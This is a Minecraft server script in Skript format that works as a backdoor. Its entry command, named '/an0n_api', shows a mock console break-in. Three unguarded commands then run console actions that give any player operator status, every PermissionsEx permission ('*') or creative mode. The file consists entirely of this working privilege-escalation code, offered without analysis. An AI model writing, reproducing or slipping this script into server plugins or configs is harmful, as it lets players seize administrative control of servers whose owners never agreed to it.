options: AttemptToBreak: &c&lAttempt to break into the console, please wait! AttemptSuccessful: &4&lThe attempt to break in was successful AttemptToHackqOP: &4YEA You hacked op! AttemptToHackq*: &4YEA You hacked *! AttemptToHackqGM: &4YEA You hacked GAMEMODE 1! ConsoleExecute: execute console command Wait: wait Send: send Seconds: seconds SuccessfulOP: op %player% Successful*: pex user %player% add * SuccessfulGM: gamemode 1 %player% Options: &c&lChoose option: OP, *, GAMEMODE 1 HACKQOP: &4&lOP - /hackqOP HACKQ*: &4&l* - /hackq* HACKQGM: &4&lGAMEMODE 1 - /hackqGAMEMODE1 5SEC: 5 10SEC: 10 1SEC: 1 2SEC: 2 command /an0n_api: trigger: {@Wait} {@1SEC} second {@Send} "{@AttemptToBreak}" {@Wait} {@10SEC} seconds {@Send} "{@AttemptSuccessful}" {@Wait} {@1SEC} second {@Send} "&c&l{@Options}" {@Wait} {@2SEC} seconds {@Send} "{@HACKQOP}" {@Send} "{@HACKQ*}" {@Send} "{@HACKQGM}" command /hackqOP: trigger: {@Send} "{@AttemptToHackqOP}" {@Wait} {@5SEC} {@Seconds} {@ConsoleExecute} "{@SuccessfulOP}" command /hackq*: trigger: {@Send} "{@AttemptToHackq*}" {@Wait} {@5SEC} {@Seconds} {@ConsoleExecute} "{@Successful*}" command /hackqGAMEMODE1: trigger: {@Send} "{@AttemptToHackqGM}" {@Wait} {@5SEC} {@Seconds} {@ConsoleExecute} "{@SuccessfulGM}"